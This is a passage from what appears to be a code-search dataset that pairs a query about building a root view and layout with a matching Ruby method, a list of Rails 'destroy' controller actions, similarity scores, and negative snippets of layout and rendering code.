respond_to do |format|\n format.html { redirect_to pres_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @daily_horoscope = DailyHoroscope.find(params[:id])\n @daily_horoscope.destroy\n\n respond_to do |format|\n format.html { redirect_to daily_horoscopes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @national.destroy\n respond_to do |format|\n format.html { redirect_to nationals_url, notice: 'National was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @client_sex = ClientSex.find(params[:id])\n @client_sex.destroy\n\n respond_to do |format|\n format.html { redirect_to client_sexes_url }\n format.json { head :ok }\n end\n end", "def destroy\n @kata.destroy\n respond_to do |format|\n format.html { redirect_to katas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @sundry_grn = SundryGrn.find(params[:id])\n @sundry_grn.destroy\n\n respond_to do |format|\n format.html { redirect_to sundry_grns_url }\n format.json { head :ok }\n end\n end", "def destroy\n @party_japan.destroy\n respond_to do |format|\n format.html { redirect_to party_japans_url, notice: 'Party japan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_suggested_course_pathway\n suggested_pathway = SuggestedPathway.find_by_id(params[:pathway_id])\n suggested_pathway.destroy\n render json: suggested_pathway\n end", "def destroy\n @investigated.destroy\n respond_to do |format| \n format.json { head :no_content }\n end\n end", "def destroy\n @residential.destroy\n respond_to do |format|\n format.html { redirect_to residentials_url, notice: 'Residential was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @presponsable.destroy\n respond_to do |format|\n format.html { redirect_to presponsables_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @background_annoncment.destroy\n respond_to do |format|\n format.html { redirect_to background_annoncments_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @occupant = Occupant.find(params[:id])\n @occupant.destroy\n\n respond_to do |format|\n format.html { redirect_to occupants_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @life_insurance.destroy\n respond_to do |format|\n format.html { redirect_to life_insurances_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @malethrowing_disc_head.destroy\n respond_to do |format|\n format.html { redirect_to malethrowing_disc_heads_url, notice: 'Malethrowing disc head was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @nippou.destroy\n respond_to do |format|\n format.html { redirect_to nippous_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @cage.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @ingredients_nutrient.destroy\n respond_to do |format|\n format.html { redirect_to ingredients_nutrients_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @initiative = Initiative.find(params[:id])\n @initiative.destroy\n\n respond_to do |format|\n format.html { render :nothing => true }\n #format.html { redirect_to initiatives_url }\n format.json { head :ok }\n end\n end", "def destroy\n @headline.destroy\n respond_to do |format|\n format.html { redirect_to headlines_url, notice: \"Headline was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @council_district.destroy\n respond_to do |format|\n format.html { redirect_to council_districts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @trein_consul_comercial.destroy\n respond_to do |format|\n format.html { redirect_to trein_consul_comercials_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @small_concert.destroy\n respond_to do |format|\n format.html { redirect_to '/admin/small_concerts' }\n format.json { head :no_content }\n end\n end", "def destroy\n @personnage = Personnage.find(params[:id])\n @personnage.destroy\n\n respond_to do |format|\n format.html { redirect_to personnages_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @fullassessment.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @prepagada = Prepagada.find(params[:id])\n @prepagada.destroy\n\n respond_to do |format|\n format.html { redirect_to prepagadas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @pg_first.destroy\n respond_to do |format|\n format.html { redirect_to pg_firsts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @pony = Pony.find(params[:id])\n @pony.destroy\n\n respond_to do |format|\n format.html { redirect_to ponies_url }\n format.json { head :ok }\n end\n end", "def destroy\n @prioridade = Prioridade.find(params[:id])\n @prioridade.destroy\n\n respond_to do |format|\n format.html { redirect_to prioridades_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @taxon = Taxon.find(params[:id])\n @taxon.destroy\n\n respond_to do |format|\n format.html { redirect_to taxons_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @articy_draft.destroy\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @ninja = Ninja.find(params[:id])\n @ninja.destroy\n\n respond_to do |format|\n format.html { redirect_to ninjas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @rent.destroy\n respond_to do |format|\n format.html { redirect_to rents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @nnb.destroy\n respond_to do |format|\n format.html { redirect_to nnbs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @prioridad.destroy\n respond_to do |format|\n format.html { redirect_to prioridads_url, notice: 'Se ha eliminado la Prioridad.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @historial = Historial.find(params[:id])\n @historial.destroy\n\n respond_to do |format|\n format.html { redirect_to historials_url }\n format.json { head :ok }\n end\n end", "def destroy\n @giang_vien = GiangVien.find(params[:id])\n @giang_vien.destroy\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end", "def destroy\n @person_expense_record.destroy\n\n head :no_content\n end", "def destroy\n @prestacion = Prestacion.find(params[:id])\n @prestacion.destroy\n\n respond_to do |format|\n format.html { redirect_to prestacions_url }\n format.json { head :ok }\n end\n end", "def destroy\n @rayon = Rayon.find(params[:id])\n @rayon.destroy\n\n respond_to do |format|\n format.html { redirect_to rayons_url }\n format.json { head :no_content }\n end\n end", "def destroy\n relationship = Relationships.find(params[:id])\n relationship.destroy\n head 204\n end", "def destroy\n @taxon = Taxon.find(params[:id])\n @taxon.destroy\n\n respond_to do |format|\n format.html { redirect_to taxons_url }\n format.json { head :ok }\n end\n end", "def destroy\n @thirtyone.destroy\n respond_to do |format|\n format.html { redirect_to thirtyones_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @enrollment.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @line = Line.find(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to budget_path(@line.budget) }\n format.json { head :no_content }\n end\n end", "def destroy\n @historial_odt = HistorialOdt.find(params[:id])\n @historial_odt.destroy\n\n respond_to do |format|\n format.html { redirect_to historial_odts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @kwasny.destroy\n respond_to do |format|\n format.html { redirect_to kwasnies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @plate.destroy\n respond_to do |format|\n format.html { redirect_to client_budget_mobile_url(@client, @budget, @mobile), notice: \"Chapa deletada com sucesso.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @incidence.destroy\n respond_to do |format|\n format.html { redirect_to incidences_url, notice: 'Incidencia eliminada exitosamente.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @pre_enrollment.destroy\n respond_to do |format|\n format.html { redirect_to pre_enrollments_url, notice: 'Pre enrollment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @nepal.destroy\n\n head :no_content\n end", "def destroy\n @relation_industry.destroy\n respond_to do |format|\n format.html { redirect_to relation_industries_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @hasuk_house.destroy\n respond_to do |format|\n format.html { redirect_to hasuk_houses_url, notice: 'Hasuk house was successfully destroyed.' }\n format.json { head :no_content }\n end\n end" ]
[ "0.70484656", "0.67547834", "0.6423742", "0.63645214", "0.6359939", "0.6349028", "0.6336078", "0.6322436", "0.6320436", "0.6317159", "0.6317159", "0.63131094", "0.63129115", "0.6296011", "0.6293658", "0.6290253", "0.6281394", "0.62769383", "0.6272711", "0.6268596", "0.6263143", "0.6260083", "0.62591755", "0.62447596", "0.62394166", "0.6238542", "0.62371904", "0.62271315", "0.62235445", "0.6219259", "0.6216609", "0.62131953", "0.6196582", "0.6194581", "0.61933094", "0.6191128", "0.6191119", "0.61846715", "0.6182968", "0.6180686", "0.61768115", "0.6176664", "0.6175414", "0.61716044", "0.61704093", "0.6168261", "0.6167595", "0.6167536", "0.616673", "0.61619973", "0.6160306", "0.6154845", "0.6154534", "0.6153012", "0.61524785", "0.6148869", "0.6146732", "0.61448395", "0.6142754", "0.61413985", "0.6141093", "0.61362076", "0.61303204", "0.61299294", "0.61272407", "0.61249214", "0.6124711", "0.61244243", "0.61229455", "0.6122203", "0.61168826", "0.61138815", "0.61135083", "0.6112318", "0.61102736", "0.61099553", "0.61099166", "0.610786", "0.61041754", "0.6102121", "0.61011004", "0.60987914", "0.60956854", "0.60954666", "0.6093502", "0.6092441", "0.60906464", "0.6089586", "0.60886204", "0.60880876", "0.60873026", "0.6085355", "0.60838294", "0.60834605", "0.60824156", "0.60818934", "0.6081508", "0.6080431", "0.60779387", "0.60734093" ]
0.7691479
0
The main view. This method builds the layout and returns the root view.
def view unless is_parent_layout? return parent_layout.view end @view ||= build_view end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def build_view\n # Only in the 'layout' method will we allow default container to be\n # created automatically (when 'add' is called)\n @assign_root = true\n prev_should_run = @should_run_deferred\n @should_run_deferred = true\n layout\n unless @view\n if @assign_root\n create_default_root_context\n @view = @context\n else\n NSLog('Warning! No root view was set in TreeLayout#layout. Did you mean to call `root`?')\n end\n end\n run_deferred(@view)\n @should_run_deferred = prev_should_run\n @assign_root = false\n # context can be set via the 'create_default_root_context' method, which\n # may be outside a 'context' block, so make sure to restore context to\n # it's previous value\n @context = nil\n\n if @preset_root\n @view = WeakRef.new(@view)\n @preset_root = nil\n end\n\n @view\n end", "def layout; end", "def root\n blk = self.class.has_widgets_blocks or raise \"Please setup a widget tree using has_widgets()\"\n @root ||= Apotomo::Widget.new(parent_controller, \"root\").tap do |root|\n self.instance_exec(root, &blk)\n end\n end", "def layout()\n layout_children()\n end", "def layout\n @layout\n end", "def root(element, element_id=nil, &block)\n if @view\n raise ContextConflictError.new(\"Already created the root view\")\n end\n unless @assign_root\n raise InvalidRootError.new(\"You should only create a 'root' view from inside the 'layout' method (use 'create' elsewhere)\")\n end\n @assign_root = false\n\n # this method can be called with just a symbol, to assign the root element_id\n if element.is_a?(Symbol)\n element_id = element\n # See note below about why we don't need to `apply(:default_root)`\n element = preset_root || default_root\n elsif preset_root && preset_root != element\n # You're trying to make two roots, one at initialization\n # and one in your layout itself.\n raise ContextConflictError.new(\"Already created the root view\")\n end\n\n @view = initialize_element(element, element_id)\n\n if block\n if @context\n raise ContextConflictError.new(\"Already in a context\")\n end\n end\n\n style_and_context(@view, element_id, &block)\n\n return @view\n end", "def loadView\n self.view = MainView.alloc.initWithFrame(UIScreen.mainScreen.bounds)\n end", "def view\n return @view unless @view.nil?\n file = File.join VIEWS, self.template\n @view = Haml::Engine.new File.read(file), HAML_CONFIG\n end", "def view\n @view ||= returning Cell::View.new(view_paths, {}, @controller) do |v|\n v.cell = self\n v.helper_module = self.class.master_helper_module\n end\n end", "def build\n view\n self\n end", "def layout\n nil\n end", "def root\n H[:html, [H[:head], tag!(:body)]]\n end", "def layout\n nil\n end", "def root\n Tk.init\n @root\n end", "def body\n render layout: false\n end", "def layout\n self.class.layout || @app.layout\n end", "def build\r\n self.ehtml, self.ecss, self.ejs = self.theme.page_layout.build_content() \r\n return self.ehtml, self.ecss, self.ejs\r\n end", "def layout\n html do\n head do\n title 'TrackTime'\n end\n body do\n h1 \"welcome to tracktime\"\n div.content do\n self << yield\n end\n end\n end\n end", "def layout\n @layout ||= layout_class.new(@rack_context)\n end", "def layouts; end", "def layouts; end", "def view_instance\n # view = if controller.response.template\n # controller.response.template\n # else\n View.new controller, master_helper_module\n # end\n \n # view.extend Extensions::View\n end", "def layout_contents\n layout.render(self)\n end", "def default_root\n # child WindowLayout classes can return *their* NSView subclass from self.nsview_class\n view_class = self.class.targets || NSWindow\n view_class.alloc.initWithContentRect([[0, 0], [0, 0]],\n styleMask: NSTitledWindowMask | NSClosableWindowMask | NSMiniaturizableWindowMask | NSResizableWindowMask,\n backing: NSBackingStoreBuffered,\n defer: false)\n end", "def index\n # Render just the layout since this application is Angular driven\n # our layout/application has all the angular logic and our controllers\n # have no views for themselves. We just need a place to launch from\n # and this happens to be it. So we have no view (thus :nothing => true)\n # but we still want the layout (since it has the App bootstrap code)\n render :layout => 'application', :nothing => true\n end", "def initialize view\r\n @view = view\r\n @output = ''\r\n @xml = Builder::XmlMarkup.new :indent => 2, :target => @output\r\n end", "def app_layout\n layout_content = read_view :application, :folder => 'layouts' #, :type => :erb\n\n [:alert, :notice].each{|name| insert_flash_displayer name}\n end", "def main\n @app.main\n end", "def master_layout\n @setup[:master_layout] ||= @master_layout ||\n (@controller.ctrl.slice.view.master_layout if @controller)\n end", "def index\n render \"index\", layout: \"verdecircle\"\n end", "def layout \n return @layout\n end", "def view_context\n super.tap do |view|\n (@_content_for_layout || {}).each do |name, content|\n view.content_for name, content\n end\n end\n end", "def new\n render :layout => \"main\" \n end", "def index\n super\n use_widgets do |root|\n root << jqg_top_widget('program')\n end\n render\n end", "def build_index\n index_view = IndexView.new\n File.open(ROOT / WWW / 'index.html', 'w') do |f|\n f.print index_view.render(:posts => @posts.most_recent)\n end\n end", "def layout\n lookup_layout\n end", "def build( special_contexts=[] )\r\n\r\n self.ehtmls, self.ecss, self.ejs = self.theme.original_page_layout_root.build_content(special_contexts)\r\n self.ehtml = self.ehtmls.first\r\n\r\n end", "def build\n\n @layout_path = bundle.layout_path\n\n # Render each filename. By default, the output goes to the resources\n # string\n @content_for_resources = ''\n entries.each { |fn| _render_one(fn) }\n\n # Finally, render the layout. This should produce the final output to\n # return\n input = File.read(@layout_path)\n \n # render using either erb or haml\n case File.extname(@layout_path)\n when /\\.rhtml$/, /\\.html.erb$/\n return eval(Erubis::Eruby.new.convert(input))\n when /\\.haml$/, /\\.html.haml$/\n require 'haml'\n return Haml::Engine.new(input).to_html(self)\n end\n end", "def view_instance\n view = ActionView::Base.new(controller.class.view_paths, {}, controller)\n view.extend master_helper_module\n end", "def view_root\n \"views\"\n end", "def generate_views\n Views.new(cli: cli, app_path: app_path).generate\n end", "def root_page\n @root_page ||= Page.language_root(session[:language])\n end", "def grvpc\n render layout: 'views/index'\n end", "def root\n render :file => 'public/closeout-front/index.html'\n end", "def on_load\n layout (self.view, :root) do\n\n @title = subview(UILabel, :title)\n @username = subview(UITextField, :username, delegate: self)\n @password = subview(UITextField, :password, delegate: self)\n @login_button = subview(UIButton.custom, :login_button)\n @register_button = subview(UIButton.custom, :register_button)\n\n #auto do\n # metrics 'margin' => 20\n # #metrics '2margin' => 20\n #\n # vertical \"|-50-[title]-75-[username]-margin-[password(==80)]-margin-[login_button(==30)]->=20-[register_button(==40)]-margin-|\"\n # horizontal \"|-[title]-|\"\n # horizontal \"|-margin-[username]-margin-|\"\n # horizontal \"|[password]-margin-|\"\n # horizontal \"|-margin-[login_button]-margin-|\"\n # horizontal \"|-margin-[register_button]-margin-|\"\n #end\n end", "def generate_root\n my_route \"root to: 'root#index'\"\n copy_file \"root/root_controller.rb\", \"app/controllers/root_controller.rb\"\n copy_file \"root/index.html.erb\", \"app/views/root/index.html.erb\"\n end", "def master_view\n\t\toption = @view.initial_view\n\t\tselect(option)\n\tend", "def get_started\n html = Views::MainHtmlWrapper.new(:helper_template => @helper_template).to_pretty\n end", "def app\n gem_root = File.expand_path '../../../..', __FILE__\n\n render file: \"#{gem_root}/public/unsakini/app/index.html\", layout: false\n end", "def build_view \n \n return if skip_method(__method__)\n \n # build edit _form index new show\n \n ['_form','edit','new','index','show'].each do |file|\n \n \n template = File.read(template(\"rails/views/#{file}.html.erb\"))\n \n # need to use ERB for these templates\n text = ERB.new(template, nil, '-').result(binding)\n\n filename = \"#{file}.html.erb\"\n # #puts \"build Rails view\"\n \n path = namespaced_path(\"app/views\",\"#{plural_table_name}/\"+filename)\n puts \"build Rails #{file} view for #{model_name} in #{path}\"\n write_artifact(path,text)\n \n end\n \n # build the json views\n ['index','show'].each do |file|\n \n template = File.read(template(\"rails/views/#{file}.json.jbuilder\"))\n text = ERB.new(template, nil, '-').result(binding)\n \n filename = \"#{file}.json.jbuilder\"\n # #puts \"build Rails JSON view \"\n \n path = namespaced_path(\"app/views\",\"#{plural_table_name}/\"+filename)\n puts \"build Rails #{file} JSON view for #{model_name} in #{path}\"\n write_artifact(path,text)\n \n end\n \n end", "def build_layout\n year = Time.now.year\n add_call('Notification des abonnements électroniques', ->() { notifier })\n add_call(\"Extension des abonnements gratuits et d'échange de l'année #{year - 1}\", ->() { freesubs(year - 1) })\n add_call(\"Extension des abonnements gratuits et d'échange de l'année #{year}\", ->() { freesubs(year) })\n add_call('Création d\\'un abonnement collectif', ->() { collective_manager })\n add_call('Exploitation des abonnements collectifs', ->() { collective_exploitation })\n add_call('Recherche des tiers par facture', ->() { billing_manager })\n add_call('(Pour développeur) Fichiers de requête', ->() { sql_files })\n @layout.add_stretch\n end", "def test\n\n render layout: 'views/index'\n\n end", "def root\n @root ||= start\n end", "def index\n @maker_layouts = MakerLayout.all\n end", "def version\n render layout: \"layouts/full_page\"\n end", "def version\n render layout: \"layouts/full_page\"\n end", "def layout\n yield(monitoring_layout)\n monitoring_layout\n end", "def load_index_page\n @page ||= Language.current_root_page\n render template: \"alchemy/welcome\", layout: false if signup_required?\n end", "def root_dir\n File.join(self.runner.path, 'app', 'views', 'pages')\n end", "def index\n render template: 'layouts/application', layout: false\n end", "def handle\n @response.layout = contained_view(\"info/layout.html.erb\")\n @response.content = contained_view(\"info/index.html.erb\")\n end", "def view\n @_view\n end", "def init\n @title_page = 'Pine app'\n erb :welcome, layout: :template\nend", "def index\n respond_with @layouts\n end", "def create_analysis_views\n puts \"====================\"\n puts \"creating analysis views for #{self.name}\"\n puts \"====================\"\n\n run_analysis_views\n\n puts \"> done\"\n puts \"====================\"\n end", "def root\n self.home\n self\n end", "def app_layout\n layout_content = read_view :layouts => :application \n [:alert, :notice].each{|name| insert_flash_displayer name, layout_content}\n end", "def content\n View.render\n ensure\n self.class.reset\n end", "def about\n render :layout => 'centered_page'\n end", "def view\n JenkinsPipelineBuilder::View.new(self)\n end", "def view()\n @view\n end", "def set_layout\n if 1==1\n 'application'\n else\n 'dean'\n end\n end", "def render(name, **args)\n\t\t\n\t\tif Core::DEBUG\n\t\t\tputs \"Loading view...\"\n\t\tend\n\n\t\tname = Core::VIEW + name\n\n\t\tfilePath = Core::viewPath(name)\n\n\t\tself.loadFile(filePath, \"View\")\n\n\t\t## Will retrieve class constant name for dynamic instanciation\n\t\tviewName = Object.const_get(name)\n\n\t\tview = viewName.new()\n\n\t\t## Force children controller and view\n\t\t## to run parent initialize if overriden.\n\t\tCore::forceParentInit(self)\t\n\t\tCore::forceParentInit(view)\n\n\t\t## Set values sent from previous view in\n\t\t## content of current view.\n\t\targs.each{\n\t\t\t|key, value|\n\t\t\t@content[key.to_s] = value\n\t\t}\n\n\t\tself.setProperties(view)\n\n\t\t## Collect content from controller and send it to view\n\t\tview.controller = self\n\t\tview.controller.run()\n\t\tview.content = @content.clone()\n\n\t\t## Refer controller methods in view for easier\n\t\t## call.\n\t\tself.class.instance_methods(false).each() do |method|\n\t\t\tif !view.class.method_defined?(method)\n\t\t\t\tview.define_singleton_method(method) do |*arguments|\n\t\t\t\t\tself.controller.send(method, *arguments)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\t## Will render view with content retrieved in controller\n\t\tview.setInstanceVars()\n\t\tview.run()\n\n\t\tFenetre::css(:priorite => \"PRIORITY_APPLICATION\")\n\n\t\t## Display content builded in view with Gtk\n\t\tview.window.show_all\n\tend", "def administration\n #render layout: 'administration'\n render layout: 'views/index'\n end", "def index\n render text: '', layout: true\n end", "def mullet(view_name, options={}, locals={})\n # The options hash may contain a key :locals with the value being a\n # hash mapping variable names to values.\n locals.merge!(options.delete(:locals) || {})\n\n # Get application settings.\n view_options = { root: settings.root, views: settings.views }\n\n if settings.respond_to?(:mullet)\n view_options = settings.mullet.merge(view_options)\n end\n\n view_options.merge!(options)\n\n # Copy instance variables set by Sinatra application.\n application_data = Object.new()\n instance_variables.each do |name|\n application_data.instance_variable_set(\n name, instance_variable_get(name))\n end\n\n # Render view.\n template = @@engine.get_template(view_name, view_options)\n view_class = @@engine.get_view_class(view_name, view_options)\n view = view_class.new()\n view.set_model(application_data, locals)\n output = ''\n template.execute(view, output)\n\n # Render layout.\n layout_name = :layout\n if options[:layout]\n layout_name = options[:layout]\n end\n\n if layout_name != false\n # If configured layout is true or nil, then use :layout.\n if layout_name == true || !layout_name\n layout_name = :layout\n end\n\n layout = @@engine.get_template(layout_name, view_options)\n view_class = @@engine.get_view_class(layout_name, view_options)\n view = view_class.new()\n view.set_model(application_data, locals, { content: output })\n layout_output = ''\n layout.execute(view, layout_output)\n output = layout_output\n end\n\n return output\n end", "def index\n render :index, layout: 'basic'\n end", "def html_contents\n layout_contents\n end", "def layout\n \"application\"\n end", "def root\n self\n end", "def root\n self\n end", "def gen_main_index\n template = RDoc::TemplatePage.new @template::INDEX\n\n open 'index.html', 'w' do |f|\n classes = @classes.sort.map { |klass| klass.value_hash }\n\n values = {\n 'main_page' => @main_page,\n 'initial_page' => main_url,\n 'style_url' => style_url('', @options.css),\n 'title' => CGI.escapeHTML(@options.title),\n 'charset' => @options.charset,\n 'classes' => classes,\n }\n\n values['inline_source'] = @options.inline_source\n\n template.write_html_on f, values\n end\n end", "def dashboard_h\n render :layout => 'application-h'\n end", "def new\n @layout = Layout.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @layout }\n end\n end", "def layout\n yield(layout_for) if block_given?\n layout_for\n end", "def yelp\n #render layout: 'fylo'\n render layout: 'views/index'\n end", "def angular\n render \"layouts/application\", layout: false\n end", "def load_view\r\n @view = XamlReader.load_from_path view_path if File.exists? view_path\r\n @view ||= view_name.to_s.gsub(/(.*::)+/, '').classify.new \r\n @view\r\n end", "def home\n @events = Event.published.confirmed.ordered.tease\n @teaser = Teaser.current.limit(1).first\n @sponsors = Sponsor.order(\"position\").all\n @about = Content.find_by_id(6)\n @donate = Content.find_by_id(7)\n render :layout => \"homepage\"\n end", "def render_layout(output, layout, info); end", "def generate_main_page_with(specs)\n main_page = Amy::Model::Main.new\n specs['resources'].each_pair { |resource, options|\n main_page.add_resource( { 'resource' => resource, 'title' => options['title'] } )\n }\n main_page.links = specs['links'] || []\n main_page.version = specs['api_version']\n main_page.base_url = specs['base_url']\n @generator.do(\"#{Amy::BASE_DIR}/views/main.erb.html\", main_page)\n end", "def create_shell_tree_view\n\t\t\n\t\t\t# Create file system model for Shell Tree View\n\t\t\tfile_system_model = FetchNotifyingFileSystemModel.new(\n\t\t\t\t@form, \n\t\t\t\t{ \n\t\t\t\t :label => @form.iconPlaceholderDir, \n\t\t\t\t :ready_icon => @folder_icon,\n\t\t\t\t\t:busy_icon => @loading_icon\n\t\t\t\t}\n\t\t\t)\n\t\t\n\t\t\t# Create Shell Tree View\n\t\t\t@shell_tree_view = ShellFolderTreeView.new(\n\t\t\t\t@parent, \n\t\t\t\t{ \n\t\t\t\t\t:model => file_system_model,\n\t\t\t\t :change_callback => lambda { |path| path_changed(path) },\n\t\t\t\t\t:keypress_callback => lambda { |key| key_clicked(key) }\n\t\t\t\t}\n\t\t\t)\n\t\t\n\t\t\t# Replace placeholder with actual Shell Tree View\n\t\t\tGuiUtils.replace_grid_widget({\n\t\t\t\t:grid => @form.gridLayout, \n\t\t\t\t:old_widget => @form.folderListPlaceholder,\n\t\t\t\t:new_widget => @shell_tree_view,\n\t\t\t\t:row => 1, :col => 0,\n\t\t\t\t:col_span => 3\n\t\t\t})\n\t\tend", "def new\n @project = Project.new\n\n render :layout => \"empty\"\n end", "def build\n reset\n visit(root, @root)\n end", "def root\n @root ||= (parent ? parent.root : self)\n end", "def show\n render layout: 'home'\n end", "def render_result\n layout = @render_args[:layout]\n view = @render_args[:view]\n if layout.kind_of? Symbol # this handles the layout(:none)\n view.result(binding)\n else\n @view[:timestamp] = \"<!-- rendered: #{Time.now()} / env: #{rack_env} -->\"\n @view[:body] = view.result(binding)\n # layout = @layout if layout.nil? # this handles the layout(:some_other_layout) case for formats\n layout.result(binding)\n end\n end", "def angular\n \trender 'layouts/application'\n end", "def new\n ruhoh = @ruhoh\n name = @args[2]\n Ruhoh::Friend.say { \n red \"Please specify a layout name.\" \n cyan \"ex: ruhoh layouts new splash\"\n exit\n } if name.nil?\n\n filename = File.join((@ruhoh.cascade.theme || @ruhoh.cascade.base), \"layouts\", name.gsub(/\\s/, '-').downcase) + \".html\"\n\n if File.exist?(filename)\n abort(\"Create new layout: aborted!\") if ask(\"#{filename} already exists. Do you want to overwrite?\", ['y', 'n']) == 'n'\n end\n\n FileUtils.mkdir_p File.dirname(filename)\n\n File.open(filename, 'w:UTF-8') do |page|\n page.puts (@collection.scaffold || '')\n end\n\n Ruhoh::Friend.say {\n green \"New layout:\"\n plain ruhoh.relative_path(filename)\n }\n end", "def index\n render layout: false\n end" ]
[ "0.696131", "0.6337119", "0.6249508", "0.60417897", "0.60375375", "0.6011281", "0.600083", "0.5982055", "0.59603757", "0.592674", "0.5913294", "0.58889717", "0.58214444", "0.5812093", "0.57851976", "0.57821167", "0.57670414", "0.57340527", "0.5695982", "0.5666105", "0.5666105", "0.5611246", "0.5607671", "0.56060195", "0.55578846", "0.5556994", "0.5544227", "0.5543302", "0.55399597", "0.55397534", "0.55331546", "0.5531199", "0.5525582", "0.55007607", "0.5492827", "0.5490871", "0.5446933", "0.54306304", "0.5425039", "0.5420709", "0.54092485", "0.5403304", "0.537848", "0.5367583", "0.5366396", "0.5365541", "0.5363289", "0.5354762", "0.5340718", "0.5333523", "0.5331955", "0.5326248", "0.5321355", "0.53114355", "0.53091455", "0.53091455", "0.5303607", "0.52694815", "0.52656007", "0.5239209", "0.5221591", "0.5214986", "0.5204719", "0.52034706", "0.52025735", "0.5188667", "0.5166299", "0.5146635", "0.5145627", "0.51455605", "0.5144045", "0.5143516", "0.5115696", "0.5113733", "0.51126814", "0.5112025", "0.51105", "0.5108714", "0.51015955", "0.5098286", "0.5098286", "0.50955576", "0.5081175", "0.50763273", "0.5076154", "0.5072896", "0.5069736", "0.5066228", "0.50655013", "0.50541604", "0.5052885", "0.5044976", "0.5042518", "0.5041226", "0.5040897", "0.5028267", "0.5024611", "0.50194746", "0.50163907", "0.50102746" ]
0.71861297
0
Builds the layout and then returns self for chaining.
def build view self end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def layout()\n layout_children()\n end", "def build_layout\n year = Time.now.year\n add_call('Notification des abonnements électroniques', ->() { notifier })\n add_call(\"Extension des abonnements gratuits et d'échange de l'année #{year - 1}\", ->() { freesubs(year - 1) })\n add_call(\"Extension des abonnements gratuits et d'échange de l'année #{year}\", ->() { freesubs(year) })\n add_call('Création d\\'un abonnement collectif', ->() { collective_manager })\n add_call('Exploitation des abonnements collectifs', ->() { collective_exploitation })\n add_call('Recherche des tiers par facture', ->() { billing_manager })\n add_call('(Pour développeur) Fichiers de requête', ->() { sql_files })\n @layout.add_stretch\n end", "def layout\n yield(layout_for) if block_given?\n layout_for\n end", "def layout_contents\n layout.render(self)\n end", "def build\n\n @layout_path = bundle.layout_path\n\n # Render each filename. By default, the output goes to the resources\n # string\n @content_for_resources = ''\n entries.each { |fn| _render_one(fn) }\n\n # Finally, render the layout. This should produce the final output to\n # return\n input = File.read(@layout_path)\n \n # render using either erb or haml\n case File.extname(@layout_path)\n when /\\.rhtml$/, /\\.html.erb$/\n return eval(Erubis::Eruby.new.convert(input))\n when /\\.haml$/, /\\.html.haml$/\n require 'haml'\n return Haml::Engine.new(input).to_html(self)\n end\n end", "def layout(&block)\n layout = Layout.new\n layout.instance_eval(&block)\n # return the layout descriptor\n layout\n end", "def layout\n @layout ||= layout_class.new(@rack_context)\n end", "def build\r\n self.ehtml, self.ecss, self.ejs = self.theme.page_layout.build_content() \r\n return self.ehtml, self.ecss, self.ejs\r\n end", "def layout\n @layout\n end", "def build_view\n # Only in the 'layout' method will we allow default container to be\n # created automatically (when 'add' is called)\n @assign_root = true\n prev_should_run = @should_run_deferred\n @should_run_deferred = true\n layout\n unless @view\n if @assign_root\n create_default_root_context\n @view = @context\n else\n NSLog('Warning! No root view was set in TreeLayout#layout. Did you mean to call `root`?')\n end\n end\n run_deferred(@view)\n @should_run_deferred = prev_should_run\n @assign_root = false\n # context can be set via the 'create_default_root_context' method, which\n # may be outside a 'context' block, so make sure to restore context to\n # it's previous value\n @context = nil\n\n if @preset_root\n @view = WeakRef.new(@view)\n @preset_root = nil\n end\n\n @view\n end", "def layout\n lookup_layout\n end", "def layout(new_layout = nil)\n @layout = new_layout if new_layout\n @layout\n end", "def view\n unless is_parent_layout?\n return parent_layout.view\n end\n @view ||= build_view\n end", "def layout\n yield(monitoring_layout)\n monitoring_layout\n end", "def layout(layout)\n self._layout = layout\n end", "def build_single_editor_layout(width, height, pane_id)\n Layout.new(\"#{width}x#{height}\", 0, 0, PaneId.new(pane_id))\nend", "def create_layout\n self.bitmap = Cache.UI(LayoutImage)\n self.x = Graphics.center_width(self.bitmap.width)\n self.y = Graphics.height - self.bitmap.height - 16\n end", "def layout\n\n raise \"Missing bulletin for layout object!\" if (! self.bulletin)\n \n raise \"Missing layout style/name for layout object!\" if (! self.name)\n\n # assume everything prepared if this is already set (caching!)\n return @layout if (@layout)\n\n # Load layout from the database\n while (! @layout)\n @layout = 